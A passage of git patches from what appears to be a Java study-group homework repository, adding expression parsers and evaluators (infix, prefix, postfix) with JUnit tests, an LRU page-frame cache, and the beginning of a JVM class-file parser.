index 0000000000..bf8907c9b6
--- /dev/null
+++ b/group11/1178243325/week08/src/test/java/InfixExprTest.java
@@ -0,0 +1,52 @@
+package com.sprint.datastructure;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("10-2*3+50");
+			Assert.assertEquals(54, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}
diff --git a/group11/1178243325/week08/src/test/java/TokenParserTest.java b/group11/1178243325/week08/src/test/java/TokenParserTest.java
new file mode 100644
index 0000000000..67ccfb52f0
--- /dev/null
+++ b/group11/1178243325/week08/src/test/java/TokenParserTest.java
@@ -0,0 +1,41 @@
+package com.sprint.datastructure;
+
+import static org.junit.Assert.*;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+
+}

From 59bbf1598def30c11d0a7d69fd0b55813f300a5b Mon Sep 17 00:00:00 2001
From: x_zhaohu <x_zhaohu@163.com>
Date: Fri, 5 May 2017 15:31:17 +0800
Subject: [PATCH 179/262] =?UTF-8?q?=E7=AC=AC=E5=85=AB=E5=91=A8,=20JVM?=
 =?UTF-8?q?=E7=AC=AC=E5=9B=9B=E6=AC=A1?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../sprint/datastructure/InfixExprTest.java   | 52 +++++++++++++++++++
 .../sprint/datastructure/TokenParserTest.java | 41 +++++++++++++++
 2 files changed, 93 insertions(+)
 create mode 100644 group11/1178243325/week08/src/test/java/com/sprint/datastructure/InfixExprTest.java
 create mode 100644 group11/1178243325/week08/src/test/java/com/sprint/datastructure/TokenParserTest.java

diff --git a/group11/1178243325/week08/src/test/java/com/sprint/datastructure/InfixExprTest.java b/group11/1178243325/week08/src/test/java/com/sprint/datastructure/InfixExprTest.java
new file mode 100644
index 0000000000..bf8907c9b6
--- /dev/null
+++ b/group11/1178243325/week08/src/test/java/com/sprint/datastructure/InfixExprTest.java
@@ -0,0 +1,52 @@
+package com.sprint.datastructure;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("10-2*3+50");
+			Assert.assertEquals(54, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}
diff --git a/group11/1178243325/week08/src/test/java/com/sprint/datastructure/TokenParserTest.java b/group11/1178243325/week08/src/test/java/com/sprint/datastructure/TokenParserTest.java
new file mode 100644
index 0000000000..67ccfb52f0
--- /dev/null
+++ b/group11/1178243325/week08/src/test/java/com/sprint/datastructure/TokenParserTest.java
@@ -0,0 +1,41 @@
+package com.sprint.datastructure;
+
+import static org.junit.Assert.*;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+
+}

From d6ba447988a0c557e08e4b5f9db3d207b48368d5 Mon Sep 17 00:00:00 2001
From: Jane_Zhou <1294642551@qq.com>
Date: Fri, 5 May 2017 16:39:29 +0800
Subject: [PATCH 180/262] LRUPageFrame,  the fourth homework

---
 group19/1294642551/src/LRU/LRUPageFrame.java  | 142 ++++++++++++++++++
 .../1294642551/test/LRU/LRUPageFrameTest.java |  34 +++++
 2 files changed, 176 insertions(+)
 create mode 100644 group19/1294642551/src/LRU/LRUPageFrame.java
 create mode 100644 group19/1294642551/test/LRU/LRUPageFrameTest.java

diff --git a/group19/1294642551/src/LRU/LRUPageFrame.java b/group19/1294642551/src/LRU/LRUPageFrame.java
new file mode 100644
index 0000000000..f2419e0278
--- /dev/null
+++ b/group19/1294642551/src/LRU/LRUPageFrame.java
@@ -0,0 +1,142 @@
+package LRU;
+
+/**
+ * 使用双向链表实现LRU算法
+ * @author 12946
+ *
+ */
+
+public class LRUPageFrame {
+	
+	private static class Node {
+		
+		Node prev = null;
+		Node next = null;
+		int pageNum;
+
+		Node(Object data) {
+			if(data != null){
+				this.pageNum = (Integer)data;
+			}
+		}
+	}
+
+	private int capacity;//链表总元素个数
+	private int currentSize;//链表当前元素个数
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	
+	public LRUPageFrame(int capacity) {
+		
+		first = new Node(null);//栈底，元素最先放入的地方
+		last = new Node(null);//栈顶
+		
+		this.currentSize = 0;
+		this.capacity = capacity;
+		
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 
+	 * @param key
+	 * @return
+	 */
+	public void access(int pageNum) {
+		Node newNode = new Node(pageNum);
+		
+		if(currentSize == capacity){
+			Node tempNode = null;
+			if(getIndex(pageNum) == -1){//不包含
+				tempNode = first.next;
+			}else{//包含
+				tempNode = getNode(pageNum);
+			}
+			(tempNode.prev).next = tempNode.next;
+			(tempNode.next).prev = tempNode.prev;
+			
+			
+			newNode.next = last;
+			newNode.prev = last.prev;
+			last.prev = newNode;
+			newNode.prev.next = newNode;
+		}
+		
+		if(currentSize < capacity){
+			Node point = first;
+			for(int i = 0; i < currentSize; i++){
+				point = point.next;
+			}
+			point.next = newNode;
+			newNode.prev = point;
+			
+			newNode.next = last;
+			last.prev = newNode;
+			
+			currentSize += 1;
+		}
+		
+
+	}
+	
+	public Node getNode(int data){
+		
+		Node point = first.next;
+		for(int i = 0; i < capacity; i++){
+			if(point.pageNum == data){
+				return point;
+			}
+			point = point.next;
+		}
+		
+		return null;
+		
+	}
+	
+	
+	public int getIndex(int data){
+		Node point = first.next;
+		for(int i = 0; i < capacity; i++){
+			if(point.pageNum == data){
+				return i;
+			}
+			point = point.next;
+		}
+		
+		return -1;
+	}
+	
+//  原toString	
+//	public String toString(){
+//		StringBuilder buffer = new StringBuilder();
+//		Node node = first;
+//		while(node != null){
+//			buffer.append(node.pageNum);			
+//			
+//			node = node.next;
+//			if(node != null){
+//				buffer.append(",");
+//			}
+//		}
+//		return buffer.toString();
+//	}
+	
+	public String toString(){
+		StringBuilder sb = new StringBuilder();
+		Node point = last.prev;
+		while(point != first){
+			sb.append(point.pageNum);
+			if(point.prev != first){
+				sb.append(",");
+			}
+			point = point.prev;
+		}
+		
+		return sb.toString();
+		
+	}
+	
+	
+
+}
diff --git a/group19/1294642551/test/LRU/LRUPageFrameTest.java b/group19/1294642551/test/LRU/LRUPageFrameTest.java
new file mode 100644
index 0000000000..dd51b5504f
--- /dev/null
+++ b/group19/1294642551/test/LRU/LRUPageFrameTest.java
@@ -0,0 +1,34 @@
+package LRU;
+
+import  org.junit.Assert;
+
+import org.junit.Test;
+
+
+public class LRUPageFrameTest {
+	
+	@Test
+	public void testAccess() {
+		LRUPageFrame frame = new LRUPageFrame(3);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+		Assert.assertEquals("1,0,7", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,1,0", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(3);
+		Assert.assertEquals("3,0,2", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,3,2", frame.toString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3", frame.toString());
+		frame.access(5);
+		Assert.assertEquals("5,4,0", frame.toString());
+		
+	}
+
+}

From d2cf1884e99a61645e2ebc6e4e766d3561b6ac7f Mon Sep 17 00:00:00 2001
From: x_zhaohu <x_zhaohu@163.com>
Date: Fri, 5 May 2017 16:40:18 +0800
Subject: [PATCH 181/262] =?UTF-8?q?=E7=AC=AC9=E5=91=A8,=20=E7=AC=AC5?=
 =?UTF-8?q?=E6=AC=A1JVM?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 group11/1178243325/week09/build.gradle        |  12 ++
 group11/1178243325/week09/readme.md           |  15 +++
 .../sprint/datastructure/InfixToPostfix.java  |  32 ++++++
 .../com/sprint/datastructure/PostfixExpr.java |  44 +++++++
 .../com/sprint/datastructure/PrefixExpr.java  |  54 +++++++++
 .../java/com/sprint/datastructure/Token.java  |  53 +++++++++
 .../com/sprint/datastructure/TokenParser.java |  45 ++++++++
 .../java/com/sprint/jvm/clz/AccessFlag.java   |  25 ++++
 .../java/com/sprint/jvm/clz/ClassFile.java    |  71 ++++++++++++
 .../java/com/sprint/jvm/clz/ClassIndex.java   |  22 ++++
 .../com/sprint/jvm/constant/ClassInfo.java    |  28 +++++
 .../com/sprint/jvm/constant/ConstantInfo.java |  29 +++++
 .../com/sprint/jvm/constant/ConstantPool.java |  28 +++++
 .../com/sprint/jvm/constant/FieldRefInfo.java |  52 +++++++++
 .../sprint/jvm/constant/MethodRefInfo.java    |  55 +++++++++
 .../sprint/jvm/constant/NameAndTypeInfo.java  |  52 +++++++++
 .../sprint/jvm/constant/NullConstantInfo.java |  12 ++
 .../com/sprint/jvm/constant/StringInfo.java   |  26 +++++
 .../com/sprint/jvm/constant/UTF8Info.java     |  35 ++++++
 .../sprint/jvm/loader/ByteCodeIterator.java   |  50 ++++++++
 .../sprint/jvm/loader/ClassFileLoader.java    |  52 +++++++++
 .../sprint/jvm/loader/ClassFileParser.java    | 107 ++++++++++++++++++
 .../main/java/com/sprint/jvm/util/Util.java   |  22 ++++
 .../datastructure/InfixToPostfixTest.java     |  41 +++++++
 .../sprint/datastructure/PostfixExprTest.java |  39 +++++++
 .../sprint/datastructure/PrefixExprTest.java  |  46 ++++++++
 .../sprint/datastructure/TokenParserTest.java |  41 +++++++
 27 files changed, 1088 insertions(+)
 create mode 100644 group11/1178243325/week09/build.gradle
 create mode 100644 group11/1178243325/week09/readme.md
 create mode 100644 group11/1178243325/week09/src/main/java/com/sprint/datastructure/InfixToPostfix.java
 create mode 100644 group11/1178243325/week09/src/main/java/com/sprint/datastructure/PostfixExpr.java
 create mode 100644 group11/1178243325/week09/src/main/java/com/sprint/datastructure/PrefixExpr.java
 create mode 100644 group11/1178243325/week09/src/main/java/com/sprint/datastructure/Token.java
 create mode 100644 group11/1178243325/week09/src/main/java/com/sprint/datastructure/TokenParser.java
 create mode 100644 group11/1178243325/week09/src/main/java/com/sprint/jvm/clz/AccessFlag.java
 create mode 100644 group11/1178243325/week09/src/main/java/com/sprint/jvm/clz/ClassFile.java
 create mode 100644 group11/1178243325/week09/src/main/java/com/sprint/jvm/clz/ClassIndex.java
 create mode 100644 group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/ClassInfo.java
 create mode 100644 group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/ConstantInfo.java
 create mode 100644 group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/ConstantPool.java
 create mode 100644 group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/FieldRefInfo.java
 create mode 100644 group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/MethodRefInfo.java
 create mode 100644 group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/NullConstantInfo.java
 create mode 100644 group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/StringInfo.java
 create mode 100644 group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/UTF8Info.java
 create mode 100644 group11/1178243325/week09/src/main/java/com/sprint/jvm/loader/ByteCodeIterator.java
 create mode 100644 group11/1178243325/week09/src/main/java/com/sprint/jvm/loader/ClassFileLoader.java
 create mode 100644 group11/1178243325/week09/src/main/java/com/sprint/jvm/loader/ClassFileParser.java
 create mode 100644 group11/1178243325/week09/src/main/java/com/sprint/jvm/util/Util.java
 create mode 100644 group11/1178243325/week09/src/test/java/com/sprint/datastructure/InfixToPostfixTest.java
 create mode 100644 group11/1178243325/week09/src/test/java/com/sprint/datastructure/PostfixExprTest.java
 create mode 100644 group11/1178243325/week09/src/test/java/com/sprint/datastructure/PrefixExprTest.java
 create mode 100644 group11/1178243325/week09/src/test/java/com/sprint/datastructure/TokenParserTest.java

diff --git a/group11/1178243325/week09/build.gradle b/group11/1178243325/week09/build.gradle
new file mode 100644
index 0000000000..f46c5add86
--- /dev/null
+++ b/group11/1178243325/week09/build.gradle
@@ -0,0 +1,12 @@
+apply plugin: 'java'
+
+repositories {
+	mavenCentral()
+}
+
+dependencies {
+	compile("commons-io:commons-io:2.4")
+	//compile("commons-lang:commons-lang:2.6")
+	compile("org.apache.commons:commons-lang3:3.4")
+	testCompile("junit:junit:4.12")
+}
diff --git a/group11/1178243325/week09/readme.md b/group11/1178243325/week09/readme.md
new file mode 100644
index 0000000000..87a00d3b10
--- /dev/null
+++ b/group11/1178243325/week09/readme.md
@@ -0,0 +1,15 @@
+## 讲课内容：
+
+## 第九周作业(JVM第4次作业)（04-17 至 04-23)
+- 把字节码指令转变为java对象, 需要实现的类: CommandParser.java
+- 实现类似的javap命令, 需要实现的类:ClassFilePrinter.java
+- 数据结构,实现前缀表达计算PrefixExpr.java,后缀表达计算PostfixExpr.java,中缀表达式转后缀表达式InfixToPostfix.java
+- 写一篇文章
+
+## 完成情况：
+- 数据结构已完
+- 文章已完
+- JVM未完
+
+## 我的收获：
+其实最难是坚持
diff --git a/group11/1178243325/week09/src/main/java/com/sprint/datastructure/InfixToPostfix.java b/group11/1178243325/week09/src/main/java/com/sprint/datastructure/InfixToPostfix.java
new file mode 100644
index 0000000000..a30f29633c
--- /dev/null
+++ b/group11/1178243325/week09/src/main/java/com/sprint/datastructure/InfixToPostfix.java
@@ -0,0 +1,32 @@
+package com.sprint.datastructure;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+public class InfixToPostfix {
+	
+	public static List<Token> convert(String expr) {
+		List<Token> inFixTokens = new TokenParser().parse(expr);
+		List<Token> postFixTokens = new ArrayList<>();
+		Stack<Token> opStack = new Stack<>();
+
+		for (Token token : inFixTokens) {
+			if (token.isOperator()) {
+				while (!opStack.isEmpty()
+						&& !token.hasHigherPriority(opStack.peek())) {
+					postFixTokens.add(opStack.pop());
+				}
+				opStack.push(token);
+			}
+
+			if (token.isNumber()) {
+				postFixTokens.add(token);
+			}
+		}
+
+		while (!opStack.isEmpty()) {
+			postFixTokens.add(opStack.pop());			
+		}
+		return postFixTokens;
+	}
+}
diff --git a/group11/1178243325/week09/src/main/java/com/sprint/datastructure/PostfixExpr.java b/group11/1178243325/week09/src/main/java/com/sprint/datastructure/PostfixExpr.java
new file mode 100644
index 0000000000..b1d5d2892a
--- /dev/null
+++ b/group11/1178243325/week09/src/main/java/com/sprint/datastructure/PostfixExpr.java
@@ -0,0 +1,44 @@
+package com.sprint.datastructure;
+
+import java.util.List;
+import java.util.Stack;
+public class PostfixExpr {
+	String expr = null;
+
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(this.expr);
+		
+		Stack<Float> numStack = new Stack<>();
+		for (Token token : tokens) {
+			if (token.isNumber()) {
+				numStack.push(new Float(token.getIntValue()));
+			} else {
+				Float f2 = numStack.pop();
+				Float f1 = numStack.pop();
+				numStack.push(calculate(token.toString(), f1, f2));
+			}
+		}
+		return numStack.pop().floatValue();
+	}
+
+	private Float calculate(String op, Float f1, Float f2) {
+		if (op.equals("+")) {
+			return f1+f2;
+		}
+		if (op.equals("-")) {
+			return f1-f2;
+		}
+		if (op.equals("*")) {
+			return f1*f2;
+		}
+		if (op.equals("/")) {
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported ");
+	}
+}
diff --git a/group11/1178243325/week09/src/main/java/com/sprint/datastructure/PrefixExpr.java b/group11/1178243325/week09/src/main/java/com/sprint/datastructure/PrefixExpr.java
new file mode 100644
index 0000000000..36d4bac543
--- /dev/null
+++ b/group11/1178243325/week09/src/main/java/com/sprint/datastructure/PrefixExpr.java
@@ -0,0 +1,54 @@
+package com.sprint.datastructure;
+
+import java.util.List;
+import java.util.Stack;
+public class PrefixExpr {
+	String expr = null;
+	
+	public PrefixExpr(String expr) {
+		this.expr = expr;	
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(this.expr);
+		
+		Stack<Token> exprStack = new Stack<>();
+		Stack<Float> numStack = new Stack<>();
+
+		for (Token token : tokens) {
+			exprStack.push(token);
+		}
+		
+		while (!exprStack.isEmpty()) {
+			Token t = exprStack.pop();
+			if (t.isNumber()) {
+				numStack.push(new Float(t.getIntValue()));		
+			} else {
+				Float f1 = numStack.pop();
+				Float f2 = numStack.pop();
+				numStack.push(calculate(t.toString(), f1, f2));
+			}
+		}
+		return numStack.pop().floatValue();
+	}
+
+	private Float calculate(String op, Float f1, Float f2) {
+		if (op.equals("+")) {
+			return f1 + f2;
+		}
+
+		if (op.equals("-")) {
+			return f1 - f2;
+		}
+
+		if (op.equals("*")) {
+			return f1 * f2;
+		}
+
+		if (op.equals("/")) {
+			return f1 / f2;
+		}
+		throw new RuntimeException(op + " is not supported ");
+	}	
+}
diff --git a/group11/1178243325/week09/src/main/java/com/sprint/datastructure/Token.java b/group11/1178243325/week09/src/main/java/com/sprint/datastructure/Token.java
new file mode 100644
index 0000000000..c776b1c97a
--- /dev/null
+++ b/group11/1178243325/week09/src/main/java/com/sprint/datastructure/Token.java
@@ -0,0 +1,53 @@
+package com.sprint.datastructure;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.HashMap;
+import java.util.Map;
+class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String, Integer> priorities = new HashMap<>();
+	
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}	
+
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+
+	String value;
+	int type;
+
+	public Token(int type, String value) {
+		this.type = type;
+		this.value = value;
+	}
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+
+	public int getIntValue() {
+		return Integer.valueOf(value).intValue();
+	}
+
+	@Override
+	public String toString() {
+		return value;
+	}
+
+	public boolean hasHigherPriority(Token t) {
+		if (!this.isOperator() && !t.isOperator()) {
+			throw new RuntimeException("number can't compare priority");
+		}	
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+
+}
diff --git a/group11/1178243325/week09/src/main/java/com/sprint/datastructure/TokenParser.java b/group11/1178243325/week09/src/main/java/com/sprint/datastructure/TokenParser.java
new file mode 100644
index 0000000000..2985d0e32f
--- /dev/null
+++ b/group11/1178243325/week09/src/main/java/com/sprint/datastructure/TokenParser.java
@@ -0,0 +1,45 @@
+package com.sprint.datastructure;
+
+import java.util.ArrayList;
+import java.util.List;
+public class TokenParser {
+	
+	public List<Token> parse(String expr) {
+		List<Token> tokens = new ArrayList<>();	
+		int i = 0;
+		while (i < expr.length()) {
+			char c = expr.charAt(i);
+			if (isOperator(c)) {
+				Token t = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(t);
+				i++;
+			} else if (Character.isDigit(c)) {
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);
+				Token t = new Token(Token.NUMBER, value);
+				tokens.add(t);
+				i = nextOperatorIndex;
+			} else {
+				System.out.println("char :[" + c + "] is not number or operator, ignore" );
+				i++;
+			}
+		}
+		return tokens;
+	}
+
+	private boolean isOperator(char c) {
+		String sc = String.valueOf(c);
+		return Token.OPERATORS.contains(sc);
+	}
+
+	private int indexOfNextOperator(int i, String expr) {
+		while (Character.isDigit(expr.charAt(i))) {
+			i++;
+			if (i == expr.length()) {
+				break;
+			}
+		}
+		return i;
+	}
+
+}
diff --git a/group11/1178243325/week09/src/main/java/com/sprint/jvm/clz/AccessFlag.java b/group11/1178243325/week09/src/main/java/com/sprint/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..e74740aa3e
--- /dev/null
+++ b/group11/1178243325/week09/src/main/java/com/sprint/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.sprint.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue; 
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flagValue) {
+		this.flagValue = flagValue;
+	}
+
+	public boolean isPublicClass() {
+		return (this.flagValue & 0x0001) != 0;
+	}
+
+	public boolean isFinalClass() {
+		return (this.flagValue & 0x0010) != 0;
+	}
+}
diff --git a/group11/1178243325/week09/src/main/java/com/sprint/jvm/clz/ClassFile.java b/group11/1178243325/week09/src/main/java/com/sprint/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..4e5aad16f9
--- /dev/null
+++ b/group11/1178243325/week09/src/main/java/com/sprint/jvm/clz/ClassFile.java
@@ -0,0 +1,71 @@
+package com.sprint.jvm.clz;
+
+import com.sprint.jvm.constant.ConstantPool;
+import com.sprint.jvm.constant.ClassInfo;
+public class ClassFile {
+	private int minorVersion;
+	private int majorVersion;
+
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	} 
+
+	public ClassIndex getClassIndex() {
+		return clzIndex;
+	}
+
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;
+	}
+
+	public ConstantPool getConstantPool() {
+		return pool;
+	}
+
+	public void setConstantPool(ConstantPool pool) {
+		this.pool = pool;
+	}
+
+	public void print() {
+		if (this.accessFlag.isPublicClass()) {
+			System.out.println("Access flag : public ");
+		}
+		System.out.println("Class Name:" + getClassName() );
+		System.out.println("Super Class Name:" + getSuperClassName());
+	}
+
+	private String getClassName() {
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);	
+		return thisClass.getClassName();
+	}
+
+	private String getSuperClassName() {
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+}
diff --git a/group11/1178243325/week09/src/main/java/com/sprint/jvm/clz/ClassIndex.java b/group11/1178243325/week09/src/main/java/com/sprint/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..46e7443d90
--- /dev/null
+++ b/group11/1178243325/week09/src/main/java/com/sprint/jvm/clz/ClassIndex.java
@@ -0,0 +1,22 @@
+package com.sprint.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+
+	public void setThisClassIndex(int index) {
+		this.thisClassIndex = index;
+	}
+
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+
+	public void setSuperClassIndex(int index) {
+		this.superClassIndex = index;
+	}
+}
diff --git a/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/ClassInfo.java b/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..b8da3c656d
--- /dev/null
+++ b/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/ClassInfo.java
@@ -0,0 +1,28 @@
+package com.sprint.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index;
+
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public void setUtf8Index(int index) {
+		this.utf8Index = index;
+	}
+
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+
+	public int getType() {
+		return type;
+	}
+
+	public String getClassName() {
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();
+	}
+}
diff --git a/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/ConstantInfo.java b/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..a8db82689e
--- /dev/null
+++ b/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/ConstantInfo.java
@@ -0,0 +1,29 @@
+package com.sprint.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo() {}
+
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+
+	public abstract int getType();
+
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+
+	public ConstantInfo getConstantInfo(int index) {
+		return this.constantPool.getConstantInfo(index);
+	}
+
+}
diff --git a/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/ConstantPool.java b/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..3a35c22ce0
--- /dev/null
+++ b/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/ConstantPool.java
@@ -0,0 +1,28 @@
+package com.sprint.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>(); 
+
+	public ConstantPool() {
+		
+	}
+
+	public void addConstantInfo(ConstantInfo info) {
+		this.constantInfos.add(info);
+	}
+
+	public ConstantInfo getConstantInfo(int index) {
+		return this.constantInfos.get(index);
+	}
+
+	public String getUTF8String(int index) {
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}	
+
+	public Object getSize() {
+		return this.constantInfos.size() - 1;
+	}
+} 
